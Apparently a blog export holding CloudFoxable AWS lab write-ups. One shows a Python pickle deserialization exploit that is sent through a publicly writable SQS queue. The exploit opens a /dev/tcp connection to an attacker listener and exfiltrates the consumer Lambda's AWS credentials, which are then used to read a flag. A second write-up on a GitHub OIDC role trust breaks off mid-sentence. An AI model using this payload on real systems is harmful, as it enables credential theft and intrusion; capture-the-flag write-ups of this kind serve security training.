[{"content":" Here we have another case of blurred lines. A vulnerability that anyone in the world can exploit, except not really. To successfully exploit it, you need to know some key information, which makes it fall in the \u0026ldquo;Assumed breach: Malicious/Compromised user\u0026rdquo; category as well.\nSo really the refined statement is: \u0026ldquo;Anyone in the world can exploit this provided they at some point had/have internal knowledge of the environment\u0026rdquo;. This means someone who used to work at Cloudfoxable Corp could exploit this, or even someone who currently works there but wants to keep their actions anonymous.\nTake a look at the pepi role with cloudfox aws -p cloudfoxable permissions to find the initial thread to pull on.\nInformation Gathering Simple enough, I start off by preparing a profile for the pepi IAM role, then try to find what access it has.\n1 2 3 4 5 6 adicpnn@laboratory aws % aws sts get-caller-identity --profile pepi { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRIDQFA5FWSTE:botocore-session-1773912540\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/pepi/botocore-session-1773912540\u0026#34; } 1 2 3 4 5 6 7 8 9 adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name pepi --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;lambda-viewer\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/lambda-viewer\u0026#34; } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/lambda-viewer --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;lambda:GetFunction\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:producer\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-18T08:46:13+00:00\u0026#34; } } This role can access the producer lambda function. I\u0026rsquo;ll go ahead and look at code it\u0026rsquo;s running.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 adicpnn@laboratory aws % aws lambda get-function --function-name producer --profile pepi { \u0026#34;Configuration\u0026#34;: { \u0026#34;FunctionName\u0026#34;: \u0026#34;producer\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:producer\u0026#34;, \u0026#34;Runtime\u0026#34;: \u0026#34;python3.10\u0026#34;, \u0026#34;Role\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/producer\u0026#34;, \u0026#34;Handler\u0026#34;: \u0026#34;lambda_function.lambda_handler\u0026#34;, \u0026#34;Handler\u0026#34;: \u0026#34;lambda_function.lambda_handler\u0026#34;, \u0026#34;CodeSize\u0026#34;: 531, \u0026#34;Description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Timeout\u0026#34;: 3, \u0026#34;MemorySize\u0026#34;: 128, \u0026#34;LastModified\u0026#34;: \u0026#34;2026-03-18T08:46:07.975+0000\u0026#34;, \u0026#34;CodeSha256\u0026#34;: \u0026#34;u6IgTyCupIgkJDn5OmtBlh6xVVRh+/x810k7XWcGK5U=\u0026#34;, \u0026#34;Version\u0026#34;: \u0026#34;$LATEST\u0026#34;, \u0026#34;Environment\u0026#34;: { \u0026#34;Variables\u0026#34;: { \u0026#34;TARGET_SQS_QUEUE_NAME\u0026#34;: \u0026#34;https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus\u0026#34; } }, \u0026#34;TracingConfig\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;PassThrough\u0026#34; }, \u0026#34;RevisionId\u0026#34;: \u0026#34;63da599f-d244-40d6-90ca-9884d559e43f\u0026#34;, \u0026#34;State\u0026#34;: \u0026#34;Active\u0026#34;, \u0026#34;LastUpdateStatus\u0026#34;: \u0026#34;Successful\u0026#34;, \u0026#34;PackageType\u0026#34;: \u0026#34;Zip\u0026#34;, \u0026#34;Architectures\u0026#34;: [ \u0026#34;x86_64\u0026#34; ], \u0026#34;EphemeralStorage\u0026#34;: { \u0026#34;Size\u0026#34;: 512 }, \u0026#34;SnapStart\u0026#34;: { \u0026#34;ApplyOn\u0026#34;: \u0026#34;None\u0026#34;, \u0026#34;OptimizationStatus\u0026#34;: \u0026#34;Off\u0026#34; }, \u0026#34;RuntimeVersionConfig\u0026#34;: { \u0026#34;RuntimeVersionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1::runtime:a83ff4af729aad44fd64166b2291afbcad56a300a3ab5e17532c29ecf9f5b3e0\u0026#34; }, \u0026#34;LoggingConfig\u0026#34;: { \u0026#34;LogFormat\u0026#34;: \u0026#34;Text\u0026#34;, \u0026#34;LogGroup\u0026#34;: \u0026#34;/aws/lambda/producer\u0026#34; } }, \u0026#34;Code\u0026#34;: { \u0026#34;RepositoryType\u0026#34;: \u0026#34;S3\u0026#34;, \u0026#34;Location\u0026#34;: \u0026#34;https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/129323993607/producer-5870d43b-91b9-418b-ac9b-dbc073e7b9ba?versionId=M_1hIpA_2BEYONAKH7b9Tlxaln_LyMWh\u0026amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEYaDGV1LWNlbnRyYWwtMSJHMEUCIQDal13ZIgYnPLYtkFTgQspuPaZPw3kKcM0nB4ugnF6fTAIgOxKe1ikCazgiTqeGyUSytAT%2Ft4IV8hbVzuxkxgLX%2B4sqiwIIDxADGgw2ODA2ODY1NTk0MzQiDGs56ODFSQXpKQL7CSroAc2KBR3jWGot4N1KKVbJU%2FAYt7XUAuMaOUJS1E8HX6bHqrJ2D3rciedqRMl6cgEb1bCk%2FNLXlaMAQIoQMvTPXEY2RMPlMDWgLQhvSt7C5kNMdQ44P7FTT2%2FceLWNnuprz0xfXIlp8b%2BXFIP2sys%2FYq4542DhfkHElRH0xzPHuymvTHGtVuk4YmF0gQXH3Rj8oSwboUpEgNOBNH%2B2lDCMYUStrLxO9ehAdRt3wRx5bDKiQ3URx9r2uPNefJ7Hc7fI3to5CxZwXJ3pAzyfIB0cv1K5vyIihvxVnJJfYwNuoYs196Fde5SJ90Mwpb7szQY6jQEjEjYPUysUqf4%2BCTuz8IcN33pywQEEV96cGPUPCU56KbDhkwc%2FkFiRSvGuDF6LFRMkw8S2MNN81w1EgqeKbLIuFxOijs2oG6O%2FG6hAEUTd2PMdRztJGWtoy7V3Qn30xjU2YVk7BwWBsse7s%2F%2Bnd1RPyGcu43fOjr0QLZbcgJWpmeTLLn%2BHx7QdBWuAbNQ%3D\u0026amp;X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026amp;X-Amz-Date=20260319T093100Z\u0026amp;X-Amz-SignedHeaders=host\u0026amp;X-Amz-Expires=600\u0026amp;X-Amz-Credential=ASIAZ47AUUDFMPEYXHSI%2F20260319%2Feu-central-1%2Fs3%2Faws4_request\u0026amp;X-Amz-Signature=eee3b51f15edef2756a8a4e248c2cbc37ef2bc6f578570306ffefa2f556d3c22\u0026#34; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 adicpnn@laboratory aws % curl \u0026#34;https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/129323993607/producer-5870d43b-91b9-418b-ac9b-dbc073e7b9ba?versionId=M_1hIpA_2BEYONAKH7b9Tlxaln_LyMWh\u0026amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEYaDGV1LWNlbnRyYWwtMSJHMEUCIQDal13ZIgYnPLYtkFTgQspuPaZPw3kKcM0nB4ugnF6fTAIgOxKe1ikCazgiTqeGyUSytAT%2Ft4IV8hbVzuxkxgLX%2B4sqiwIIDxADGgw2ODA2ODY1NTk0MzQiDGs56ODFSQXpKQL7CSroAc2KBR3jWGot4N1KKVbJU%2FAYt7XUAuMaOUJS1E8HX6bHqrJ2D3rciedqRMl6cgEb1bCk%2FNLXlaMAQIoQMvTPXEY2RMPlMDWgLQhvSt7C5kNMdQ44P7FTT2%2FceLWNnuprz0xfXIlp8b%2BXFIP2sys%2FYq4542DhfkHElRH0xzPHuymvTHGtVuk4YmF0gQXH3Rj8oSwboUpEgNOBNH%2B2lDCMYUStrLxO9ehAdRt3wRx5bDKiQ3URx9r2uPNefJ7Hc7fI3to5CxZwXJ3pAzyfIB0cv1K5vyIihvxVnJJfYwNuoYs196Fde5SJ90Mwpb7szQY6jQEjEjYPUysUqf4%2BCTuz8IcN33pywQEEV96cGPUPCU56KbDhkwc%2FkFiRSvGuDF6LFRMkw8S2MNN81w1EgqeKbLIuFxOijs2oG6O%2FG6hAEUTd2PMdRztJGWtoy7V3Qn30xjU2YVk7BwWBsse7s%2F%2Bnd1RPyGcu43fOjr0QLZbcgJWpmeTLLn%2BHx7QdBWuAbNQ%3D\u0026amp;X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026amp;X-Amz-Date=20260319T093100Z\u0026amp;X-Amz-SignedHeaders=host\u0026amp;X-Amz-Expires=600\u0026amp;X-Amz-Credential=ASIAZ47AUUDFMPEYXHSI%2F20260319%2Feu-central-1%2Fs3%2Faws4_request\u0026amp;X-Amz-Signature=eee3b51f15edef2756a8a4e248c2cbc37ef2bc6f578570306ffefa2f556d3c22\u0026#34; --output code.zip % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 531 100 531 0 0 5896 0 --:--:-- --:--:-- --:--:-- 5966 adicpnn@laboratory aws % unzip code.zip Archive: code.zip inflating: lambda_function.py adicpnn@laboratory aws % cat lambda_function.py # send_sqs_message.py import os import boto3 import pickle import json import base64 def lambda_handler(event, context): command = \u0026#34;echo \\\u0026#34;hello world\\\u0026#34; \u0026gt; /tmp/hello.txt\u0026#34; pickled_command = pickle.dumps(command) encoded_pickled_command = base64.b64encode(pickled_command).decode(\u0026#39;utf-8\u0026#39;) payload = { \u0026#39;command\u0026#39;: encoded_pickled_command } sqs = boto3.client(\u0026#39;sqs\u0026#39;) queue_url = os.environ[\u0026#39;TARGET_SQS_QUEUE_NAME\u0026#39;] #queue_url = sqs.get_queue_url(QueueName=queue_name)[\u0026#39;QueueUrl\u0026#39;] sqs.send_message(QueueUrl=queue_url, MessageBody=json.dumps(payload)) return { \u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: \u0026#39;Message sent to the SQS queue\u0026#39; } I see here a Lambda function sending a shell command to an SQS queue (it\u0026rsquo;s URL was previously displayed when I ran the get-function AWS command). What\u0026rsquo;s interesting here is the usage of a pickle-based serialization.\nThe pepi role I started with for this challenge can neither invoke this function, or modify it in any way that would allow specifiying the command to run. This is where the challenge description really comes in handy, hinting at the need of \u0026ldquo;internal knowledge of the environment\u0026rdquo;.\nBased on this, I will keep enumerating the environment for more information. A good place to start here would be Lambda and SQS.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 adicpnn@laboratory aws % aws lambda list-functions --profile cloudfoxable ... { \u0026#34;FunctionName\u0026#34;: \u0026#34;consumer\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:consumer\u0026#34;, \u0026#34;Runtime\u0026#34;: \u0026#34;python3.10\u0026#34;, \u0026#34;Role\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/swanson\u0026#34;, \u0026#34;Handler\u0026#34;: \u0026#34;lambda_function.lambda_handler\u0026#34;, \u0026#34;CodeSize\u0026#34;: 498, \u0026#34;Description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Timeout\u0026#34;: 3, \u0026#34;MemorySize\u0026#34;: 128, \u0026#34;LastModified\u0026#34;: \u0026#34;2026-03-18T14:24:06.000+0000\u0026#34;, \u0026#34;CodeSha256\u0026#34;: \u0026#34;H7XXg5AolFWOaQgCKV9sSl++U5yBzypaz+dvs3PokHw=\u0026#34;, \u0026#34;Version\u0026#34;: \u0026#34;$LATEST\u0026#34;, \u0026#34;Environment\u0026#34;: { \u0026#34;Variables\u0026#34;: { \u0026#34;TARGET_SQS_QUEUE_NAME\u0026#34;: \u0026#34;https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus\u0026#34; } }, \u0026#34;TracingConfig\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;PassThrough\u0026#34; }, \u0026#34;RevisionId\u0026#34;: \u0026#34;632a1a20-c5c1-4d2e-a207-023d5fc8eab7\u0026#34;, \u0026#34;PackageType\u0026#34;: \u0026#34;Zip\u0026#34;, \u0026#34;Architectures\u0026#34;: [ \u0026#34;x86_64\u0026#34; ], \u0026#34;EphemeralStorage\u0026#34;: { \u0026#34;Size\u0026#34;: 512 }, \u0026#34;SnapStart\u0026#34;: { \u0026#34;ApplyOn\u0026#34;: \u0026#34;None\u0026#34;, \u0026#34;OptimizationStatus\u0026#34;: \u0026#34;Off\u0026#34; }, \u0026#34;LoggingConfig\u0026#34;: { \u0026#34;LogFormat\u0026#34;: \u0026#34;Text\u0026#34;, \u0026#34;LogGroup\u0026#34;: \u0026#34;/aws/lambda/consumer\u0026#34; } }, ... Here I can see there\u0026rsquo;s another Lambda function with the previously discovered SQS Queue URL in it\u0026rsquo;s environment variables. A fair assumption given the Lambda function names producer/consumer, common in event-driven architecture, is that the consumer function is triggered by an incoming SQS message. I can confirm this by listing event source mappings for Lambda:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 adicpnn@laboratory aws % aws lambda list-event-source-mappings --profile cloudfoxable { \u0026#34;EventSourceMappings\u0026#34;: [ { \u0026#34;UUID\u0026#34;: \u0026#34;a3ad82f6-0d37-495a-8dcd-61bd323f1640\u0026#34;, \u0026#34;BatchSize\u0026#34;: 1, \u0026#34;MaximumBatchingWindowInSeconds\u0026#34;: 0, \u0026#34;EventSourceArn\u0026#34;: \u0026#34;arn:aws:sqs:eu-central-1:129323993607:internal_message_bus\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:consumer\u0026#34;, \u0026#34;LastModified\u0026#34;: \u0026#34;2026-03-18T09:46:23.944000+01:00\u0026#34;, \u0026#34;State\u0026#34;: \u0026#34;Enabled\u0026#34;, \u0026#34;StateTransitionReason\u0026#34;: \u0026#34;USER_INITIATED\u0026#34;, \u0026#34;FunctionResponseTypes\u0026#34;: [], \u0026#34;EventSourceMappingArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:event-source-mapping:a3ad82f6-0d37-495a-8dcd-61bd323f1640\u0026#34; } ] } Unfortunately the pepi role doesn\u0026rsquo;t have access to this function, so the code running will remain a mystery for the time being. Nonetheless, this is still the best candidate for further investigation.\nSince I cannot influence what the \u0026ldquo;producer\u0026rdquo; Lambda function does in order to reach the \u0026ldquo;consumer\u0026rdquo;, I have to look for alternatives. Maybe the SQS queue properties would show anything interesting?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory aws % aws sqs get-queue-attributes --queue-url https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus --attribute-names All --profile cloudfoxable { \u0026#34;Attributes\u0026#34;: { \u0026#34;QueueArn\u0026#34;: \u0026#34;arn:aws:sqs:eu-central-1:129323993607:internal_message_bus\u0026#34;, \u0026#34;ApproximateNumberOfMessages\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;ApproximateNumberOfMessagesNotVisible\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;ApproximateNumberOfMessagesDelayed\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;CreatedTimestamp\u0026#34;: \u0026#34;1773823542\u0026#34;, \u0026#34;LastModifiedTimestamp\u0026#34;: \u0026#34;1773823567\u0026#34;, \u0026#34;VisibilityTimeout\u0026#34;: \u0026#34;30\u0026#34;, \u0026#34;MaximumMessageSize\u0026#34;: \u0026#34;2048\u0026#34;, \u0026#34;MessageRetentionPeriod\u0026#34;: \u0026#34;86400\u0026#34;, \u0026#34;DelaySeconds\u0026#34;: \u0026#34;90\u0026#34;, \u0026#34;Policy\u0026#34;: \u0026#34;{\\\u0026#34;Version\\\u0026#34;:\\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Id\\\u0026#34;:\\\u0026#34;sqspolicy\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;:[{\\\u0026#34;Sid\\\u0026#34;:\\\u0026#34;First\\\u0026#34;,\\\u0026#34;Effect\\\u0026#34;:\\\u0026#34;Allow\\\u0026#34;,\\\u0026#34;Principal\\\u0026#34;:\\\u0026#34;*\\\u0026#34;,\\\u0026#34;Action\\\u0026#34;:[\\\u0026#34;sqs:SendMessage\\\u0026#34;,\\\u0026#34;sqs:ReceiveMessage\\\u0026#34;],\\\u0026#34;Resource\\\u0026#34;:\\\u0026#34;arn:aws:sqs:eu-central-1:129323993607:internal_message_bus\\\u0026#34;,\\\u0026#34;Condition\\\u0026#34;:{\\\u0026#34;IpAddress\\\u0026#34;:{\\\u0026#34;aws:SourceIp\\\u0026#34;:\\\u0026#34;nope\\\u0026#34;}}}]}\u0026#34;, \u0026#34;RedrivePolicy\u0026#34;: \u0026#34;{\\\u0026#34;deadLetterTargetArn\\\u0026#34;:\\\u0026#34;arn:aws:sqs:eu-central-1:129323993607:terraform-example-queue-deadletter\\\u0026#34;,\\\u0026#34;maxReceiveCount\\\u0026#34;:4}\u0026#34;, \u0026#34;ReceiveMessageWaitTimeSeconds\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;SqsManagedSseEnabled\u0026#34;: \u0026#34;true\u0026#34; } } Taking a closer look at the policy statement for the SQS queue, I see that \u0026ldquo;anyone\u0026rdquo; could send messages to this queue (this is what the challenge is hinting with \u0026ldquo;Anyone in the world can exploit this\u0026rdquo;).\nExecution I\u0026rsquo;ve found a way forward, and I could now send blind messages to the SQS queue that would be processed by the consumer lambda function, but that would quicly turn unfruitful. Instead, I can refer back to my understanding of event-driven architecture:\nKnown fact: There\u0026rsquo;s a function processing data and sending it to an SQS queue Known fact: Another function executes based on messages received on the queue Assumption: The consumer would expect data to be processed by the producer, meaning the message format would need to match what the producer would output I cannot make any complete assumptions on what the consumer does with the data, but knowing it\u0026rsquo;s receiving pickle-serialized data, I can expect it to deserialize it. This could be a good place to proceed, knowing that the pickle module in python, is susceptible to arbitrary code execution during deserialization. Refer to this Semgrep article for more information on this vulnerability.\nSimilar to the \u0026ldquo;Cloudfoxable - The topic is execution\u0026rdquo;, I\u0026rsquo;ll prepare a shell command to exfiltrate AWS credentials to an AWS EC2 instance I previously created. This command then needs to be pickle-serialized, and formatted in a way that the consumer would expect.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import pickle import base64 import os import json class Exploit(object): def __reduce__(self): return (os.system, (\u0026#34;exec 3\u0026lt;\u0026gt;/dev/tcp/ip_addr/9999; echo -e \\\u0026#34;AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN=$AWS_SESSION_TOKEN \\\u0026#34; \u0026gt;\u0026amp;3 ; exec 3\u0026lt;\u0026amp;-\u0026#34;,)) payload = pickle.dumps(Exploit()) encoded_pickled_command = base64.b64encode(payload).decode(\u0026#39;utf-8\u0026#39;) payload = { \u0026#39;command\u0026#39;: encoded_pickled_command } print(json.dumps(payload)) This python script would output the command I need to send via SQS message.\n1 2 3 4 5 6 7 adicpnn@laboratory aws % python3 build.py {\u0026#34;command\u0026#34;: \u0026#34;gASVzQAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjLVleGVjIDM8Pi9kZXYvdGNwL3lvdXNuZWFreWZveC85OTk5OyBlY2hvIC1lICJBV1NfQUNDRVNTX0tFWV9JRD0kQVdTX0FDQ0VTU19LRVlfSUQgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSRBV1NfU0VDUkVUX0FDQ0VTU19LRVkgQVdTX1NFU1NJT05fVE9LRU49JEFXU19TRVNTSU9OX1RPS0VOICIgPiYzIDsgZXhlYyAzPCYtlIWUUpQu\u0026#34;} adicpnn@laboratory aws % aws sqs send-message --message-body \u0026#34;{\\\u0026#34;command\\\u0026#34;: \\\u0026#34;gASVzQAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjLVleGVjIDM8Pi9kZXYvdGNwL3lvdXNuZWFreWZveC85OTk5OyBlY2hvIC1lICJBV1NfQUNDRVNTX0tFWV9JRD0kQVdTX0FDQ0VTU19LRVlfSUQgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSRBV1NfU0VDUkVUX0FDQ0VTU19LRVkgQVdTX1NFU1NJT05fVE9LRU49JEFXU19TRVNTSU9OX1RPS0VOICIgPiYzIDsgZXhlYyAzPCYtlIWUUpQu\\\u0026#34;}\u0026#34; --profile cloudfoxable --queue-url https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus { \u0026#34;MD5OfMessageBody\u0026#34;: \u0026#34;396029fac2062947ca4170263bb36dd3\u0026#34;, \u0026#34;MessageId\u0026#34;: \u0026#34;0d0441f5-5a9a-4626-b4f6-68ed92458b66\u0026#34; } 1 2 3 4 5 6 7 [ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 63.178.236.42. Ncat: Connection from 63.178.236.42:47352. AWS_ACCESS_KEY_ID=*** AWS_SECRET_ACCESS_KEY=*** AWS_SESSION_TOKEN=*** Using these credentials, I\u0026rsquo;ve set up another AWS profile, and I can start enumerating it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 adicpnn@laboratory aws % aws sts get-caller-identity --profile consumer { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRID44S5W6CU7:consumer\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/swanson/consumer\u0026#34; } adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name swanson --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;lambda-sqs-secret-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/lambda-sqs-secret-policy\u0026#34; } ] } adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/lambda-sqs-secret-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: \u0026#34;ssm:GetParameter\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/lambda-sqs\u0026#34; }, { \u0026#34;Action\u0026#34;: [ \u0026#34;sqs:ReceiveMessage\u0026#34;, \u0026#34;sqs:DeleteMessage\u0026#34;, \u0026#34;sqs:GetQueueUrl\u0026#34;, \u0026#34;sqs:GetQueueAttributes\u0026#34;, \u0026#34;sqs:ChangeMessageVisibility\u0026#34;, \u0026#34;sqs:ChangeMessageVisibilityBatch\u0026#34;, \u0026#34;sqs:DeleteMessageBatch\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:sqs:eu-central-1:129323993607:internal_message_bus\u0026#34; }, Everything seems to have fallen in place, and I can now attempt to retrieve the flag stored as an SSM parameter.\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory aws % aws ssm get-parameter --name /cloudfoxable/flag/lambda-sqs --with-decryption --profile consumer --region eu-central-1 { \u0026#34;Parameter\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/lambda-sqs\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;Value\u0026#34;: \u0026#34;{FLAG:middle::queuesCanBeInterestingToo}\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-18T09:45:17.151000+01:00\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/lambda-sqs\u0026#34;, \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; } } ","permalink":"https://adicpnn.com/blog/cloudfoxable/middle/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eHere we have another case of blurred lines. A vulnerability that anyone in the world can exploit, except not really. To successfully exploit it, you need to know some key information, which makes it fall in the \u0026ldquo;Assumed breach: Malicious/Compromised user\u0026rdquo; category as well.\u003c/p\u003e\n\u003cp\u003eSo really the refined statement is: \u0026ldquo;Anyone in the world can exploit this provided they at some point had/have internal knowledge of the environment\u0026rdquo;. This means someone who used to work at Cloudfoxable Corp could exploit this, or even someone who currently works there but wants to keep their actions anonymous.\u003c/p\u003e","title":"Cloudfoxable - Middle"},{"content":" There\u0026rsquo;s a role that trusts the repo you just created. Find the role and exploit the trust to access the flag.\nInformation Gathering I\u0026rsquo;ll start off by enumerating AWS roles in my sandbox account, hoping to see a trust policy for the repo i\u0026rsquo;ve created adicpnn/cfx_trust_me.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 adicpnn@laboratory aws % aws iam list-roles --profile cloudfoxable ... { \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;RoleName\u0026#34;: \u0026#34;t_rodman\u0026#34;, \u0026#34;RoleId\u0026#34;: \u0026#34;AROAR4HCPRIDWZYYOATJQ\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/t_rodman\u0026#34;, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-17T15:21:22+00:00\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Sid\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;Federated\u0026#34;: \u0026#34;arn:aws:iam::129323993607:oidc-provider/token.actions.githubusercontent.com\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRoleWithWebIdentity\u0026#34;, \u0026#34;Condition\u0026#34;: { \u0026#34;StringLike\u0026#34;: { \u0026#34;token.actions.githubusercontent.com:sub\u0026#34;: \u0026#34;repo:adicpnn/cfx_trust_me:*\u0026#34;, \u0026#34;token.actions.githubusercontent.com:aud\u0026#34;: \u0026#34;sts.amazonaws.com\u0026#34; } } } ] }, \u0026#34;MaxSessionDuration\u0026#34;: 3600 } ... What this trust policy statement allows, is for GitHub Actions to assume the role t_rodman using OpenID Connect. I\u0026rsquo;ll keep this information and mind, and keep unraveling the exploit chain.\nThe next question on my list is: if assumed, what can this role do?\n1 2 3 4 5 6 7 8 9 adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name t_rodman --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;trust-me\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/trust-me\u0026#34; } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/trust-me --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;ssm:GetParameter\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/trust-*\u0026#34; ], \u0026#34;Sid\u0026#34;: \u0026#34;AllowReadFlag\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-17T15:21:21+00:00\u0026#34; } } Next up, what\u0026rsquo;s the full ARN of my target? I\u0026rsquo;ll need this when I\u0026rsquo;ll attempt reading the 